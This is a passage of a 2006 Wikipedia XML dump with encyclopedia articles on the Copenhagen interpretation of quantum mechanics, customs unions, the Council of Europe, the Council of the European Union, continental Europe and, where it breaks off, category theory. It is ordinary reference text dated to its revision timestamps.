# What causes the particle to appear to switch between statistical and non-statistical behaviors?  When the particle is moving through the slits, its behavior appears to be described by a non-localized wave function which is traveling through both slits at the same time.  Yet when the particle is observed it is never a diffuse non-localized wave packet, but appears to be a single point particle.

The Copenhagen interpretation answers these questions as follows:
# The probability statements made by quantum mechanics are irreducible in the sense that they don't exclusively reflect our limited knowledge of some hidden variables. In classical physics, probabilities were used to describe the outcome of rolling dice, even though the process was thought to be deterministic. Probabilities were used to substitute for complete knowledge. By contrast, the Copenhagen interpretation holds that in quantum mechanics, measurement outcomes are fundamentally indeterministic.
# Physics is the science of outcomes of measurement processes. Speculation beyond that cannot be justified. The Copenhagen interpretation rejects questions like &quot;where was the particle before I measured its position&quot; as meaningless.
# The act of measurement causes an instantaneous &quot;collapse of the wave function&quot;. This means that the measurement process randomly picks out exactly one of the many possibilities allowed for by the state's wave function, and the wave function instantaneously changes to reflect that pick.

The original formulation of the Copenhagen Interpretation has led to several variants; the most respected one is based on [[Consistent Histories]] (&quot;Copenhagen done right?&quot;) and the concept of [[quantum decoherence]] that allows us to calculate the fuzzy boundary between the &quot;microscopic&quot; and the &quot;macroscopic&quot; world. Other variants differ according to the degree of &quot;reality&quot; assigned to the waveform.

== Criticisms ==

The completeness of quantum mechanics (thesis 1) was attacked by the [[EPR paradox|Einstein-Podolsky-Rosen thought experiment]] which was intended to show that there have to be hidden variables in order to avoid non-local, instantaneous &quot;effects at a distance&quot;.  However, experimental tests of the EPR paradox using [[Bell's inequality]] have supported the predictions of quantum mechanics, while showing that local hidden variable theories do not match the experimental evidence.

Of the three theses above, the third is maybe the most problematic from a physicist's standpoint, because it gives a special status to measurement processes without cleanly defining them nor explaining their peculiar effects. In his article entitled &quot;Criticism and Counterproposals to the Copenhagen Interpretation of Quantum Theory,&quot; countering the view of Alexandrov that  (in Heisenberg's paraphrase) &quot;the wave function in configuration space characterizes the objective state of the electron.&quot; Heisenberg says,
&lt;blockquote&gt;Of course the introduction of the observer must not be misunderstood to imply that some kind of subjective features are to be brought into the description of nature. The observer has, rather, only the function of registering decisions, i.e., processes in space and time, and it does not matter whether the observer is an apparatus or a human being; but the registration, i.e., the transition from the &quot;possible&quot; to the &quot;actual,&quot; is absolutely necessary here and cannot be omitted from the interpretation of quantum theory.&lt;/blockquote&gt;
:&lt;small&gt;-- Heisenberg, Physics and Philosophy, p. 137&lt;/small&gt;

Many [[physicist]]s and [[philosopher]]s have objected to the Copenhagen interpretation, both on the grounds that it is non-deterministic and that it includes an undefined measurement process that converts probability functions into non-probabilistic measurements. [[Albert Einstein|Einstein]]'s quotations &quot;God does not play dice&quot; and &quot;Do you really think the moon isn't there if you aren't looking at it?&quot; exemplify this. Bohr, in response, said &quot;Einstein, don't tell God what to do&quot;. [[Erwin Schrödinger]] devised the [[Schrödinger's cat]] experiment that attempts to illustrate the incompleteness of the theory of quantum mechanics when going from subatomic to macroscopic systems.

Also, the required &quot;instantaneous&quot; collapse of the wavefunction throughout all of space is problematic. Einstein's Relativity demonstrates that &quot;instantaneous&quot; has meaning only for observers sharing a single reference frame. No universal time reference exists so the &quot;instantaneous wave function collapse&quot; of the Copenhagen Interpretation is left undefined.

== Alternatives ==

Many physicists have subscribed to the null interpretation of quantum mechanics summarized by [[Paul Dirac]]'s famous dictum &quot;Shut up and calculate!&quot;, often (perhaps erroneously) attributed to [[Richard Feynman]].

A list of alternatives can be found at [[Interpretation of quantum mechanics]].

==See also==
*[[Afshar experiment]]
*[[Bohr-Einstein debates]]
*[[Consistent Histories]]
* [[Philosophical interpretation of classical physics]]

==Further reading==
* G. Weihs et al., Phys. Rev. Lett. 81 (1998) 5039
* M. Rowe et al., Nature 409 (2001) 791.

==Video Demonstration==
* From Movie &quot;What the Bleep Do We Know&quot; Clip of Double Split Experiment
http://www.whatthebleep.com/trailer/doubleslit.wm.low.html
(The download time over a modem connection is very slow, and playback is interrupted so frequently that it may be impossible to understand.

==External links==
* [http://plato.stanford.edu/entries/qm-copenhagen Copenhagen Interpretation (''Stanford Encyclopedia of Philosophy'')]
* [http://math.ucr.edu/home/baez/physics/Quantum/bells_inequality.html Physics FAQ section about Bell's inequality]
* [http://www.benbest.com/science/quantum.html The Copenhagen Interpretation of Quantum Mechanics]
* [http://www.irims.org/quant-ph/030503/ Preprint of Afshar Experiment]


[[Category:Quantum measurement]]
[[Category:University of Copenhagen]]

[[ar:تفسير كوبنهاجن]]
[[da:Københavnerfortolkningen]]
[[de:Kopenhagener Deutung]]
[[es:Interpretación de Copenhague]]
[[fr:École de Copenhague]]
[[gl:Interpretación de Copenhague]]
[[he:פרשנות קופנהאגן]]
[[ja:コペンハーゲン解釈]]
[[pl:Interpretacja kopenhaska]]
[[pt:Interpretação de Copenhaga]]
[[ru:Копенгагенская интерпретация]]
[[sv:Köpenhamnstolkningen]]</text>
    </revision>
  </page>
  <page>
    <title>Customs union</title>
    <id>5864</id>
    <revision>
      <id>42057839</id>
      <timestamp>2006-03-03T14:41:48Z</timestamp>
      <contributor>
        <username>John wesley</username>
        <id>689662</id>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">{{trading blocs}}

A '''customs union''' is a [[free trade area]] with a [[Common External Tariff]]. The participant countries set up common [[external trade]] [[policy]], but in some cases they use different import [[quota]]s. Common [[competition policy]] is also helpful to avoid [[competition]] deficiency. 

Purposes for establishing a customs union normally include increasing [[economic efficiency]] and establishing closer political and cultural ties between the member countries.  

It is the third stage of [[economic integration]].

Customs union is established through [[trade pact]].

== List of Customs Unions ==
''Every [[Common market]] and [[Economic and monetary union]] has also a '''Customs Union'''''

*[[Southern African Customs Union]]
*[[East African Community]]
*[[Gulf Cooperation Council]]
*[[MERCOSUR]]
*[[EU-Turkey Customs Union|EU - Turkey Customs Union]] (since 1996)
*[[Third country relationships with the EU#Customs Union|EU - Andorra Customs Union]]
*[[Third country relationships with the EU#Customs Union|EU - San Marino Customs Union]]
*[[Economic and Monetary Community of Central Africa]] (CEMAC)
*[[West African Economic and Monetary Union]] (UEMOA)
*[[Andean Community]] (CAN)
*[[Israel]] - [[Palestinian territories]] (since [[1994]])
*[[Switzerland]] - [[Liechtenstein]] (since [[1924]])

===Proposed===
*Customs Union of the [[Economic Community of West African States]] (ECOWAS), due in 2007
*Customs Union of the [[Common Market for Eastern and Southern Africa]] (COMESA), due in 2008
*Customs Union of the [[Southern African Development Community]] (SADC), due in 2010
*Customs Union of the [[Economic Community of Central African States]] (ECCAS), due in 2011 ?
*Customs Union of the [[African Economic Community]] (AEC), due in 2019
*[[Eurasian Economic Community]] (EurAsEC)

===Defunct===
*[[Customs and Economic Union of Central Africa]] (UDEAC) - superceded by [[Economic and Monetary Community of Central Africa|CEMAC]]
*Customs Union of the [[Commonwealth of Independent States]] (CIS) - proposed successor is [[Eurasian Economic Community|EurAsEC]]
*[[1925]] French Customs Union over occupied [[Saarland]]
*The former [[Zollverein]]

==See also==
* [[List of international trade topics]]

==References==

* Michael T. Florinsky.  1934.  The Saar Struggle.  New York: The Macmillan Company.  

[[Category:International trade]]

[[bg:Митнически съюз]]
[[de:Zollunion]]
[[lb:Zollunioun]]
[[nl:Douane-unie]]
[[pl:Unia celna]]
[[sv:Tullunion]]</text>
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  </page>
  <page>
    <title>Council of Europe</title>
    <id>5865</id>
    <revision>
      <id>41838344</id>
      <timestamp>2006-03-02T01:53:04Z</timestamp>
      <contributor>
        <username>Tibetibet</username>
        <id>196402</id>
      </contributor>
      <comment>/* Aims */</comment>
      <text xml:space="preserve">:''CoE redirects here, which also stands for [[Church of England]].''

[[Image:Council of Europe.jpg|333px|thumb|right|The Palace of Europe in Strasbourg]]
[[Image:European flag.svg|333px|thumb|right|European Flag: used by the Council of Europe and by the European Union]] 

The '''Council of Europe''' ([[French language|French]]: Conseil de l'Europe, [[German language|German]]: Europarat) is an [[international organizations|international organisation]] of 46 member states in the [[Europe]]an region. 

The seat of the Council of Europe is in [[Strasbourg]] on the [[France|Franco]]-[[Germany|German]] border. Originally meeting in Strasbourg's University Palace, it is now domiciled in the [[Palace of Europe]] on the outskirts of the city centre. Membership is open to all European states which accept the principle of the [[rule of law]] and guarantee fundamental [[human rights]] and [[freedom]]s to their citizens.

One of the main successes of the Council was the [[European Convention on Human Rights]] in [[1950]], which serves as the basis for the [[European Court of Human Rights]].

The Council of Europe is not to be confused with the [[Council of the European Union]] or the [[European Council]], as it is a separate organisation and not part of the [[European Union]].

== Founding ==
The Council of Europe was founded following a speech given by [[Winston Churchill]] at the [[University of Zurich]] on [[19 September]], [[1946]] ([http://www.peshawar.ch/varia/winston.htm text of speech]) calling for a &quot;[[United States of Europe]]&quot;, similar to the [[United States of America]], in the wake of the events of [[World War II]].

The Council was officially founded on [[5 May]], [[1949]] by the [[Treaty of London, 1949|Treaty of London]] agreed to by the ten original members. This treaty is now known as the Statute of the Council of Europe.

== Aims ==
Article 1(a) of the Statute states:

:''The aim of the Council of Europe is to achieve a greater unity between its members for the purpose of safeguarding and realising the ideals and principles which are their common heritage and facilitating their economic and social progress.''

The Council concentrates on the following areas:
*Protection of [[democracy]] and the [[rule of law]]
*Protection of [[human rights]], notably:
** Social rights, with the [[European Social Charter]]
** Linguistic rights, with the [[European Charter for Regional or Minority Languages]]
** Media freedom, with the [[European Convention on Human Rights]]
*Promotion of Europe's [[cultural identity]] and diversity;
*Addressing problems facing European society including [[discrimination]], [[xenophobia]], [[environmental degradation]], [[AIDS]], [[recreational drug use|drugs]] and [[organised crime]]
*Encouraging democratic stability via reform.

== Institutions ==
The institutions of the Council of Europe are:  

*The [[Council of Europe Secretariat|Secretariat]] and the [[Secretary-General of the Council of Europe|Secretary-General]]
*The [[Council of Europe Committee of Ministers|Committee of Ministers]]
* The [[Parliamentary Assembly of the Council of Europe|Parliamentary Assembly]] (PACE)
*The [[European Court of Human Rights]]
* [http://www.coe.int/T/E/Commissioner_H.R/Communication_Unit/ The Commissioner for Human Rights]

There's also the European Commission for Democracy through Law, better known as the [[Venice Commission]].

== Symbols ==
''Main article: [[European symbols]]''
[[Image:European flag.svg|right|thumb|European flag]]
The Council of Europe is responsible for the notable [[European flag]] with 12 golden stars (upward pointing) arranged in a circle on a blue background since [[1955]], and the [[anthem]] based on the [[Ode to Joy]] in the final movement of [[Ludwig van Beethoven]]'s ninth symphony since [[1972]]. In [[1964]], it established the anniversary of its founding on [[5 May]] [[1949]] as [[Europe Day]]. (The [[EU]] has also designated a Europe Day - [[May 9]]. See [[European symbols#Europe Day|European Symbols]].)

To avoid confusion with the [[European Union]], which uses the same flag, the Council often uses a modified version with a stylised lower-case 'e' in the centre of the stars which is referred to as the 'Council of Europe Logo' [http://www.coe.int/02/Logo/Pictures/LogoCoE/LogoCoe.jpg].

== Membership ==
[[Image:Council of Europe map.png|thumb|300px|'''Council of Europe membership'''&lt;br&gt;
{{legend|#008000|ten original members}}
{{legend|#00ff00|joined subsequently}}
{{legend|#ffff00|observer at the Parliamentary Assembly}}
{{legend|#ffc000|observer at the Committee of Ministers}}
{{legend|#ff0000|official candidate}}]]
Today, there are 46 member states, including nearly every European state. Upon foundation on [[May 5]], [[1949]] there were ten members:
*{{BEL}}
*{{DNK}}
*{{FRA}}
*{{IRL}}
*{{ITA}}
*{{LUX}}
*{{NLD}}
*{{NOR}}
*{{SWE}}
*{{UK}}

Members with later admission dates (sorted by date of admission) :

*{{GRC}} ([[9 August]] [[1949]])
*{{TUR}} ([[9 August]] [[1949]])
*{{ICE}} ([[9 March]] [[1950]])
*{{DEU}} [[West Germany|Federal Republic of Germany]] ([[13 July]] [[1950]])
*{{AUT}} ([[16 April]] [[1956]])
*{{CYP}} ([[24 May]] [[1961]])
*{{CHE}} ([[6 May]] [[1963]])
*{{MLT}} ([[29 April]] [[1965]])
*{{PRT}} ([[22 September]] [[1976]])
*{{ESP}} ([[24 November]] [[1977]])
*{{LIE}} ([[23 November]] [[1978]])
*{{SMR}} ([[16 November]] [[1988]])
*{{FIN}} ([[5 May]] [[1989]])
*{{HUN}} ([[6 November]] [[1990]])
*{{POL}} ([[26 November]] [[1991]])
*{{BGR}} ([[7 May]] [[1992]])
*{{EST}} ([[14 May]] [[1993]])
*{{LTU}} ([[14 May]] [[1993]])
*{{SVN}} ([[14 May]] [[1993]])
*{{CZE}} ([[30 June]] [[1993]])
*{{SVK}} ([[30 June]] [[1993]])
*{{ROU}} ([[7 October]] [[1993]])
*{{AND}} ([[10 October]] [[1994]])
*{{LVA}} ([[10 February]] [[1995]])
*{{ALB}} ([[13 July]] [[1995]])
*{{MOL}} ([[13 July]] [[1995]])
*{{MKD}} ([[9 November]] [[1995]])
*{{UKR}} ([[9 November]] [[1995]])
*{{RUS}} ([[28 February]] [[1996]])
*{{HRV}} ([[6 November]] [[1996]])
*{{GEO}} ([[27 April]] [[1999]])
*{{ARM}} ([[25 January]] [[2001]])
*{{AZE}} ([[25 January]] [[2001]])
*{{BiH}} ([[24 April]] [[2002]])
*{{SCG}} ([[3 April]] [[2003]])
*{{MON}} ([[5 October]] [[2004]])
The Parliament of {{BLR}} held special guest status with the Parliamentary Assembly from September 1992 to January 1997, but this has been suspended as a consequence of the November 1996 constitutional referendum and parliament by-elections which the CoE found to be undemocratic, as well as limits on democratic freedoms such as [[freedom of expression]] (cf. [[Belarusian media]]) under the authoritarian regime of President [[Lukashenko]]. The constitution changed by the referendum &quot;does not respect minimum democratic standards and violates the principles of separation of powers and the rule of law.&quot; [http://press.coe.int/cp/97/11a(97).htm]. Belarus applied for full membership on [[12 March]] [[1993]] (still open).

{{KAZ}} applied for observer status at the [[Council of Europe Parliamentary Assembly|Parliamentary Assembly]] in [[1999]]. The official response of PACE was that Kazakhstan could apply for full membership, because it is partially located in Europe, but that they would not be granted any status whatsoever at [[Council of Europe|CoE]] until their [[democracy]] and [[human rights]] records improved.

The {{VAT}} has observer status at the [[Council of Europe Committee of Ministers|Committee of Ministers]] since [[1970]].

Some non-European states also have observer status at Council of Europe institutions:
:{{JPN}} and the {{USA}} have observer status at the [[Council of Europe Committee of Ministers|Committee of Ministers]].
:{{ISR}} Has observer status at the [[Council of Europe Parliamentary Assembly|Parliamentary Assembly]].
:{{CAN}} and {{MEX}} have observer status at both the [[Council of Europe Committee of Ministers|Committee of Ministers]] and the [[Council of Europe Parliamentary Assembly|Parliamentary Assembly]].

==See also==
*[[Europe]]
*[[European Union]]
*[[Organization for Security and Co-operation in Europe]]
*[[Common European Framework of Reference for Languages]]
*[[European Charter for Regional or Minority Languages]]

==External links==
{{Wikisource|Framework Convention for the Protection of National Minorities}}
*[http://www.coe.int/ Council of Europe] - Official site
*[http://conventions.coe.int/Treaty/Commun/QueVoulezVous.asp?NT=001&amp;CM=8&amp;DF=23/01/05&amp;CL=ENG Statute of the Council of Europe]

[[Category:Council of Europe| ]]
[[Category:European politics]]
[[Category:International organizations]]
[[Category:Strasbourg]]

[[bg:Съвет на Европа]]
[[br:Kuzul Europa]]
[[ca:Consell d'Europa]]
[[cs:Rada Evropy]]
[[cy:Cyngor Ewrop]]
[[da:Europarådet]]
[[de:Europarat]]
[[el:Συμβούλιο της Ευρώπης]]
[[es:Consejo de Europa]]
[[eo:Konsilio de Eŭropo]]
[[fr:Conseil de l'Europe]]
[[ht:Konsey d Ewòp]]
[[is:Evrópuráðið]]
[[it:Consiglio d'Europa]]
[[lt:Europos taryba]]
[[hu:Európa Tanács]]
[[nl:Raad van Europa]]
[[ja:欧州評議会]]
[[no:Europarådet]]
[[pl:Rada Europy]]
[[pt:Conselho da Europa]]
[[ru:Совет Европы]]
[[sl:Svet Evrope]]
[[fi:Euroopan neuvosto]]
[[sv:Europarådet]]
[[tr:Avrupa Konseyi]]
[[uk:Рада Європи]]</text>
    </revision>
  </page>
  <page>
    <title>Council of the European Union</title>
    <id>5866</id>
    <revision>
      <id>40467506</id>
      <timestamp>2006-02-20T19:51:27Z</timestamp>
      <contributor>
        <username>Tazmaniacs</username>
        <id>777928</id>
      </contributor>
      <minor />
      <comment>actualization</comment>
      <text xml:space="preserve">{{Politics of the European Union}}
The '''Council of the European Union''' ([[French language|French]]: Le Conseil de l'Union Européenne, [[German language|German]]: Rat der Europäischen Union) forms, along with the [[European Parliament]], the legislative arm of the [[European Union]] (EU). 

The Council of the European Union contains ministers of the governments of each of the [[European Union member states]]. It is sometimes referred to in official European Union documents simply as the Council or  the '''Council of Ministers'''.

[[Working language]]s of the Council are [[English language|English]], [[French language|French]] and [[German language|German]].

The Council has a President and a Secretary-General. The President of the Council is a Minister of the state currently holding the [[Presidency of the Council of the European Union]]; while the Secretary-General is the head of the Council Secretariat, chosen by the member states by unanimity. The Secretary-General also serves as the [[High Representative for the Common Foreign and Security Policy]] ([[Common Foreign and Security Policy|CFSP]]). The Council is assisted by [[Committee of Permanent Representatives]] ([[COREPER]]) , which consists of the ambassadors  or their deputies from the diplomatic representations of the Member States to the European Communities. COREPER generally prepares the Council agenda, and negotiates minor and non-controversial matters, leaving controversial issues for discussion, and other issues for formal agreement, by the Council.  Below COREPER, civil servants from the member states negotiate in Council [[working group]]s, often reaching de facto agreement which is formalised through COREPER and the Council of Ministers. The Council and its preparatory bodies are supported by European career civil servants (approximately three thousand as of July 2005) providing general advice, qualified legal advice, translation services and impartial negotiation assistance.

The Council of the European Union should be distinguished from the [[European Council]], which meets four times a year in what is informally known as the 'European Summit' ([[EU summit]]), and is a closely related but separate body, made up with the heads of state and government of the member states, whose mission is to provide guidance and high level policy to the Council. It is also to be distinguished from the [[Council of Europe]] which is a completely separate [[international organization|international organisation]] (at present 46 states), not a European institution.

==Role==
The Council of the European Union is the main legislative institution of the EU. According to Article 202 of the [[Maastricht Treaty]]: ''to ensure that the objectives set out in this Treaty are attained the Council shall, in accordance with the provisions of this Treaty:''.
*''ensure coordination of the general economic policies of the Member States,''
*''have power to take decisions,''
*''confer on the Commission, in the acts which the Council adopts, powers for the implementation of the rules which the Council lays down. The Council may impose certain requirements in respect of the exercise of these powers. The Council may also reserve the right, in specific cases, to exercise directly implementing powers itself. The procedures referred to above must be consonant with principles and rules to be laid down in advance by the Council, acting unanimously on a proposal from the Commission and after obtaining the opinion of the European Parliament.''

In effect, the Council performs the following functions:
*Legislation - the Council passes [[EU law]] on the recommendations of the [[European Commission]] and the [[European Parliament]].&lt;br&gt;
*Approval of the EU budget - the Council and the [[European Parliament|Parliament]] must agree on the budget.&lt;br&gt;
*Foreign and defence policy - while each member state is free to develop its own foreign and defence policy, the Council seeks to achieve a common foreign and defence policy for the member states.&lt;br&gt;
*Economic policy - the Council also seeks to achieve a common economic policy for the member states.&lt;br&gt;
*Justice - the Council seeks to co-ordinate the justice system of the member states, especially in areas such as [[terrorism]].

==Formations==
[[image:Justus_Lipsius.jpg|thumb|225px|The Justus Lipsius building, the Council of the European Union office in Brussels]]

Legally speaking, the Council is a single entity, but it is in practice divided into several different councils, each dealing with a different functional area. Each council is attended by a different type of minister. Thus, for example, meetings of the Council in its Agriculture and Fisheries formation are attended by the agriculture ministers of each member state. There are currently nine formations:

*'''General Affairs and External Relations (GAERC):''' The most important of the formations, GAERC is composed of [[foreign minister|ministers for foreign affair]]s and meets once a month. Since [[June 2002]] it has held separate meetings on general affairs and external relations.
**The GAERC also coordinates preparation for and follow-up to meetings of the European Council.
**At its sessions on External Relations, under the context of the [[Common Foreign and Security Policy]], the [[High Representative for Common Foreign and Security Policy]] also takes part.
*'''Economic and Financial Affairs (Ecofin):''' Composed of economics and finance ministers of the member states.
*'''Agriculture and Fisheries''': One of the oldest configurations, this brings together once a month the ministers for agriculture and fisheries, and the commissioners responsible for agriculture, fisheries, food safety, veterinary questions and public health matters.
*'''Justice and Home Affairs Council (JHA):''' This configuration brings together Justice ministers and Interior Ministers of the Member States.
*'''Employment, Social Policy, Health and Consumer Affairs Council (EPSCO):''' Composed of employment, social protection, consumer protection, health and equal opportunities ministers.
*'''Competitiveness:''' Created in [[June 2002]] through the merging of three previous configurations (Internal Market, Industry and Research). Depending on the items on the agenda, this formation is composed of ministers responsible for areas such as european affairs, industry and scientific research.
*'''Transport, Telecommunications and Energy:''' Also created in June 2002, through the merging of three policies under one configuration, and with a composition also varying according to the specific items on its agenda. This formation meets approximately once every two months.
*'''Environment:''' Composed of environment ministers, who meet about four times a year.
*'''Education, Youth and Culture (EYC):''' Composed of education, culture, youth and communications ministers, who meet around three or four times a year.

== Voting ==
The Council votes either by unanimity or by [[Qualified Majority Voting]]. The voting system used for a given decision depends on the policy area to which that decision belongs; according to the founding treaties, some subjects require unanimity, while others require only a qualified majority. Even in those areas which require a qualified majority, the Council is required to try to reach a unanimous decision where possible.

Countries of the EU hold different numbers of votes in the Council. The number of votes held by each country is based indirectly on the size of the country's population, but smaller countries are granted a greater number of votes than their population would strictly merit. This concept is aimed at balancing the voices of larger countries with those of smaller countries.

On [[1 November]] [[2004]], modified voting weights from the [[Treaty of Nice]] came into effect (this date was revised by the [[Treaty of Accession 2003]] from the originally intended date of [[1 January]], [[2005]]). The Nice Treaty also provides for qualified majority voting to require a 'double majority' of both population and number of countries. Further revisions to the voting system are made in the proposed [[Treaty establishing a Constitution for Europe]], which was signed on [[29 October]], [[2004]] but has yet to be ratified by all member states.

==Political parties==
''Main article: [[Parties in the Council of the European Union]]''
[[Image:Party affiliations in the Council of the EU Nov 2005.png|thumb|200px|right|EU member states by the European parliamentary affiliations of their leaders, as of 22 Nov 2005.]]

Almost all of the leaders and ministers of each member state belong to political parties at the national level. Many of these national parties belong to formal political groupings in the European Parliament. However there are no formal political groups or alliances in the Council, and countries led by similar political parties are often not in agreement on questions that come before the body. Nonetheless the table below describes the current breakdown of party affiliations in the Council, as of November 2005, in terms of the European parliamentary alliances with which the leader of each member state is indirectly associated.

{| border=0 cellpadding=2 cellspacing=2 width=50%
|-----bgcolor=lightgrey
|'''Parliamentary group'''
|'''No. of states'''
|----- bgcolor=#DDEEFF
|[[European People's Party - European Democrats]]
|11
|----- bgcolor=#FFE8E8
|[[Party of European Socialists]]
|7
|----- bgcolor=#FFFFDD
|[[Alliance of Liberals and Democrats for Europe]]
|5
|----- bgcolor=#DDFFDD
|[[Union for a Europe of Nations]]
|2
|}

==See also==
*[[List of European Union-related topics|List of EU related topics]]

==External links==
*[http://ue.eu.int/showPage.ASP?lang=en Council of the European Union]
*[http://news.bbc.co.uk/2/hi/europe/4218776.stm  UK bid to end secret EU debates]
*[http://ue.eu.int Council of the European Union] [http://ue.eu.int/cms3_fo/showPage.asp?lang=en&amp;id=242 about itself] (includes info on voting weights)
*SCADplus glossary: [http://europa.eu.int/scadplus/leg/en/cig/g4000c.htm#c33 Council of the European Union]
* [http://drcwww.kub.nl/dbi/instructie/eu/en/T1.htm DEsite]: [http://drcwww.kub.nl/dbi/instructie/eu/en/T14.htm Information about the Council]
*Reports from the UK Committee on European Scrutiny about the [http://www.publications.parliament.uk/pa/cm200102/cmselect/cmeuleg/152-xxxiii/15207.htm#a12 Council] and [http://www.publications.parliament.uk/pa/cm200102/cmselect/cmeuleg/152-xxxiii/15205.htm Openness]

[[Category:European Union]]

[[ca:Consell de la Unió Europea]]
[[cs:Rada Evropské unie]]
[[cy:Cyngor Gweinidogion Ewrop]]
[[da:Rådet for Den Europæiske Union]]
[[de:Rat der Europäischen Union]]
[[et:Euroopa Liidu Nõukogu]]
[[es:Consejo de la Unión Europea]]
[[fr:Conseil de l'Union européenne]]
[[gl:Consello da Unión Europea]]
[[id:Dewan Uni Eropa]]
[[it:Consiglio dell'Unione Europea]]
[[he:מועצת אירופה]]
[[ka:ევროპის კავშირის საბჭო]]
[[lb:Conseil vun der Europäescher Unioun]]
[[hu:Európai Unió Tanácsa]]
[[nl:Raad van de Europese Unie]]
[[ja:欧州連合理事会]]
[[no:Rådet for Den europeiske union]]
[[pl:Rada Unii Europejskiej]]
[[pt:Conselho da União Europeia]]
[[ro:Consiliul Uniunii Europene]]
[[ru:Совет Европейского Союза]]
[[sl:Svet Evropske unije]]
[[sr:Савет Европске уније]]
[[sv:Europeiska unionens råd]]</text>
    </revision>
  </page>
  <page>
    <title>Continental Europe</title>
    <id>5867</id>
    <revision>
      <id>33400256</id>
      <timestamp>2005-12-31T18:44:53Z</timestamp>
      <contributor>
        <username>AnonMoos</username>
        <id>21047</id>
      </contributor>
      <comment>/* The English concept */ add &quot;fog in channel...&quot;</comment>
      <text xml:space="preserve">'''Continental Europe''', also referred to as '''mainland Europe''' or simply '''the continent''', refers to the [[continent]] of [[Europe]], explicitly excluding European [[island]]s and [[peninsula]]e. Notably, in [[British English]] and [[Hiberno-English]] usage, the term means Europe excluding the [[British Isles]].

==The English concept==
In the [[England|English]] mind ''Continental Europe'' is foremost represented by the [[Benelux]], [[Germany]], and especially [[France]].  A famous (perhaps apocryphal) British newspaper headline once read &quot;Fog in Channel; Continent Cut Off&quot;.

==The Nordic concept==
In [[Nordic]] usage, the [[British Isles]], [[Scandinavia]], [[Iceland]] and [[Finland]] are excluded.

==See also==
*[[Mainland]]

[[Category:Europe]]
[[Category:Political geography]]

{{euro-geo-stub}}
{{poli-stub}}

[[de:Kontinentaleuropa]]
[[sv:Kontinentaleuropa]]</text>
    </revision>
  </page>
  <page>
    <title>Crossover music</title>
    <id>5868</id>
    <revision>
      <id>15904057</id>
      <timestamp>2004-03-24T00:51:21Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <comment>redirect to the better [[Crossover (music)]] (not necessarily a better title, but certainly a better article)</comment>
      <text xml:space="preserve">#redirect [[Crossover (music)]]</text>
    </revision>
  </page>
  <page>
    <title>Category theory</title>
    <id>5869</id>
    <revision>
      <id>37838883</id>
      <timestamp>2006-02-02T13:19:41Z</timestamp>
      <contributor>
        <ip>128.232.1.190</ip>
      </contributor>
      <comment>/* Historical notes */ minor typo</comment>
      <text xml:space="preserve">In [[mathematics]], '''category theory''' deals in an abstract way with mathematical structures and relationships between them. It is half-jokingly known as &quot;generalized [[abstract nonsense]]&quot;. [[category (mathematics)|Categories]] appear in most branches of mathematics, in some areas of [[theoretical computer science]] and [[mathematical physics]], and have been a unifying notion. Categories were first introduced by [[Samuel Eilenberg]] and [[Saunders Mac Lane]] in [[1945]], in connection with [[algebraic topology]].

See [[list of category theory topics]] for a breakdown of relevant articles.

== Background ==

The study of [[category (mathematics)|categories]] is an attempt to capture what is commonly found in various classes of related mathematical structures.

Consider the following example. The [[class (set theory)|class]] '''Grp''' of [[group (mathematics)|groups]] consists of all objects having a &quot;group structure&quot;. More precisely, '''Grp''' consists of all [[set]]s ''G'' endowed with a [[binary operation]] satisfying a certain set of [[axiom]]s. One can proceed to [[mathematical proof|prove]] [[theorem]]s about groups by making logical deductions from the set of axioms. For example, it is immediately proved from the axioms that the [[identity element]] of a group is unique.

Instead of focusing merely on the individual objects (groups) possessing a given structure, as mathematical theories have traditionally done, category theory emphasizes the [[morphism]]s &amp;mdash; the structure-preserving processes &amp;mdash; between these objects. It turns out that by studying these morphisms, we are able to learn more about the structure of the 'objects' (groups). Here the morphisms are the [[group homomorphism]]s. A group homomorphism between two groups &quot;preserves the group structure&quot; in a very precise way &amp;mdash; it is a &quot;process&quot; taking one group to another, in a way that carries along information about the structure of the first group into the second group. The study of group homomorphisms then provides a tool for studying general properties of groups and consequences of the group axioms.

A similar type of investigation occurs in many mathematical theories. A category is an ''axiomatic'' formulation of this idea of relating mathematical structures to the structure-preserving functions between them. A systematic study of categories then allows us to prove general results from the axioms of a category.

A category is itself a type of mathematical structure, so we can look for 'processes' which preserve this structure in some sense. Such a process is called a [[functor]]. It associates to every object of one category an object of ''another'' category; and to every morphism in the first category a morphism in the second. By studying categories and functors, we are not just studying a class of mathematical structures and the morphisms between them, we are studying the essential of ''relationships between various classes of mathematical structure''. This is a fundamental idea, which first surfaced in [[algebraic topology]]. Difficult ''topological'' questions can be translated into ''algebraic'' questions which are much easier to solve. Basic constructions, such as the [[fundamental group]] of a [[topological space]], can be expressed as functors in this way. 

Constructions are often &quot;naturally related&quot;, a vague notion at first sight. This leads to the clarifying concept of [[natural transformation]], a way to &quot;map&quot; one functor to another. Many important constructions in mathematics can be studied in this context. 'Naturality' is a principle, like [[general covariance]] in physics, that cuts deeper than is initially apparent.

==Historical notes==

Categories, functors and natural transformations were introduced by [[Samuel Eilenberg]] and [[Saunders Mac Lane]] in [[1945]]. Initially, the notions were applied in [[topology]], especially [[algebraic topology]], as an important part of the transition from [[Homology (mathematics)|homology]] (an intuitive and geometric concept) to [[homology theory]], an [[axiom]]atic approach. It has been claimed, for example by or on behalf of [[Stanislaw Ulam]], that comparable ideas were current in the late [[1930s]] in the Polish school. These ideas were in some ways a continuation of the contributions of [[Emmy Noether]] in formalizing abstract processes in the first half of the 20th-century. Noether realised that in order to understand a type of mathematical structure, one really needs to understand the processes preserving this structure. Eilenberg and Mac Lane gave an [[axiom|axiomatic]] formalization of this relation between structures and the processes preserving them. 

Eilenberg/Mac Lane have said that their goal was to understand natural transformations; in order to do that, functors had to be defined; and to define functors one needed categories.

The subsequent development of the theory was powered first by the computational needs of [[homological algebra]]; and then by the axiomatic needs of [[algebraic geometry]], the field most resistant to the [[Russell-Whitehead]] view of united foundations. General category theory—an updated [[universal algebra]] with many new features allowing for semantic flexibility and [[higher-order logic]]—came later; it is now applied throughout mathematics.

